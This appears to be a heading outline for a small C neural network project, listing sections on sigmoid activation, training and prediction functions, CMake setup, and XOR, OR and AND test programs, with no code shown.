Activation Functions: `sigmoid` and `sigmoid_derivative`

Training Method: `train`

Prediction Method: `predict`

Header File: `neural_net.h`

Source File: `neural_net.c`

Neural Network Creation: `create_neural_net`

Training Function: `train`

Prediction Function: `predict`

Freeing Resources: `free_neural_net`

CMake Configuration: `CMakeLists.txt`

XOR Problem: `test_xor.c`

XOR Test Code (`test_xor.c`)

OR Problem: `test_or.c`

OR Test Code (`test_or.c`)

AND Problem: `test_and.c`

AND Test Code (`test_and.c`)